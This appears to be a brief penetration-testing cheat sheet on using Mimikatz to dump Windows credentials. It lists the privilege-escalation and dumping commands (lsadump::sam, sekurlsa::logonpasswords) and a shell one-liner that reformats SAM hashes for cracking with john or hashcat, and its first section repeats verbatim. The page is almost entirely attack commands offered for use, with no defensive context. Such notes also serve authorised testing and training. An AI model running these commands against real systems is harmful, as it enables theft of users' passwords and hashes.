Dump Password Hashes

Mimikatz needs to be ran as SYSTEM and the SeDebugPrivilege access right needs to be enabled. After launching mimikatz, run:

privilege::debug
token::elevate

If you are already SYSTEM, you do not need to run the second command Now to dump the password hashes:

lsadump::sam

This prints out a funky format. To make it more john or hashcat friendly and be a user:hash format we can do this.

grep 'User' -A 1 lsadump.txt| grep -v '-' | cut -d ':' -f 2 | sed 's/ //' | sed '$!N;s/\n/:/'

mimikatz

Dump Password Hashes

Mimikatz needs to be ran as SYSTEM and the SeDebugPrivilege access right needs to be enabled. After launching mimikatz, run:

privilege::debug
token::elevate

If you are already SYSTEM, you do not need to run the second command Now to dump the password hashes:

lsadump::sam

This prints out a funky format. To make it more john or hashcat friendly and be a user:hash format we can do this.

grep 'User' -A 1 lsadump.txt| grep -v '-' | cut -d ':' -f 2 | sed 's/ //' | sed '$!N;s/\n/:/'

It is possible to get clear text passwords of users that are logged on. After launching mimikatz, run:

privilege::debug
token::elevate

If you are already SYSTEM, you do not need to run the second command Now to dump the passwords & hashes:

sekurlsa::logonpasswords

Last updated 4 years ago

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